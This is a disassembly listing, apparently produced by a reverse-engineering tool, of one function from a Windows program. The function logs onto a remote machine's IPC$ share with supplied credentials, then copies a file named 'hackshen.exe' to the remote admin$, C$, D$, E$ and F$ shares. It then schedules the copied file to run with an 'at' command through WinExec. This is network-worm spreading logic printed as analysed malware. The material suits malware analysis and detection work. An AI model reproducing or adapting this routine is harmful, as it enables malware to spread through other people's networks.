Function at 0x404910
Capabilities:
Copy file
Create process on windows

Disassembly:
sub esp, 0x54c
push ebx
push ebp
push esi
push edi
push str.mpr.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.WNetAddConnection2A
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor eax, eax
mov dword [esp + 0x11], eax
mov edx, dword [esp + 0x568]
xor ecx, ecx
mov byte [esp + 0x10], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x19], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1d], eax
mov dword [esp + 0x18], ecx
mov word [esp + 0x21], ax
mov dword [esp + 0x1c], ecx
push str.NULL
mov byte [esp + 0x27], al
push edx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
jne 0x40499a
push 0x439d90
lea eax, [esp + 0x14]
push str.__s_
push eax
call esi
add esp, 0xc
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x159]
mov byte [esp + 0x158], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x55]
mov ebp, dword [esp + 0x560]
mov byte [esp + 0x54], 0
push ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x15c]
push str._sipc_
push ecx
stosb byte es:[edi], al
call esi
mov eax, dword [esp + 0x570]
mov ecx, dword [esp + 0x574]
add esp, 0xc
xor edi, edi
lea edx, [esp + 0x158]
mov dword [esp + 0x24], 2
mov dword [esp + 0x38], edx
push edi
push eax
lea edx, [esp + 0x2c]
push ecx
push edx
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], 1
mov dword [esp + 0x44], 0x439d90
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], edi
call ebx
cmp ebx, edi
je 0x404c46
call fcn.00404c60
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0x158]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x15c]
push str._s_admin_hackshen.exe
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea ecx, [esp + 0x54]
push str.admin__
push ecx
call ebx
lea edx, [esp + 0x158]
push 0
push edx
call fcn.00404c60
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x404bc9
mov ecx, 0x101
lea edi, [esp + 0x158]
rep stosd dword es:[edi], eax
push ebp
lea eax, [esp + 0x15c]
push str._sC_hackshen.exe
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x54]
push str.C:hackshen.exe
push ecx
call ebx
lea edx, [esp + 0x158]
push 0
push edx
call fcn.00404c60
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x404bc9
mov ecx, 0x101
lea edi, [esp + 0x158]
rep stosd dword es:[edi], eax
push ebp
lea eax, [esp + 0x15c]
push str._sD_hackshen.exe
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x54]
push str.D:hackshen.exe
push ecx
call ebx
lea edx, [esp + 0x158]
push 0
push edx
call fcn.00404c60
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x404bc9
mov ecx, 0x101
lea edi, [esp + 0x158]
rep stosd dword es:[edi], eax
push ebp
lea eax, [esp + 0x15c]
push str._sE_hackshen.exe
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x54]
push str.E:hackshen.exe
push ecx
call ebx
lea edx, [esp + 0x158]
push 0
push edx
call fcn.00404c60
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x404bc9
mov ecx, 0x101
lea edi, [esp + 0x158]
rep stosd dword es:[edi], eax
push ebp
lea eax, [esp + 0x15c]
push str._sF_hackshen.exe
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x54]
push str.F:hackshen.exe
push ecx
call ebx
lea edx, [esp + 0x158]
push 0
push edx
call fcn.00404c60
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54c
ret
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x4e]
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0x158]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x4c]
and edx, 0xffff
lea ecx, [esp + 0x54]
add edx, 2
push ecx
and eax, 0xffff
push edx
push eax
push ebp
lea ecx, [esp + 0x168]
push str.at__s__d:_d__s
push ecx
call esi
add esp, 0x18
lea edx, [esp + 0x158]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
mov dword [0x439584], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54c
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x54c
ret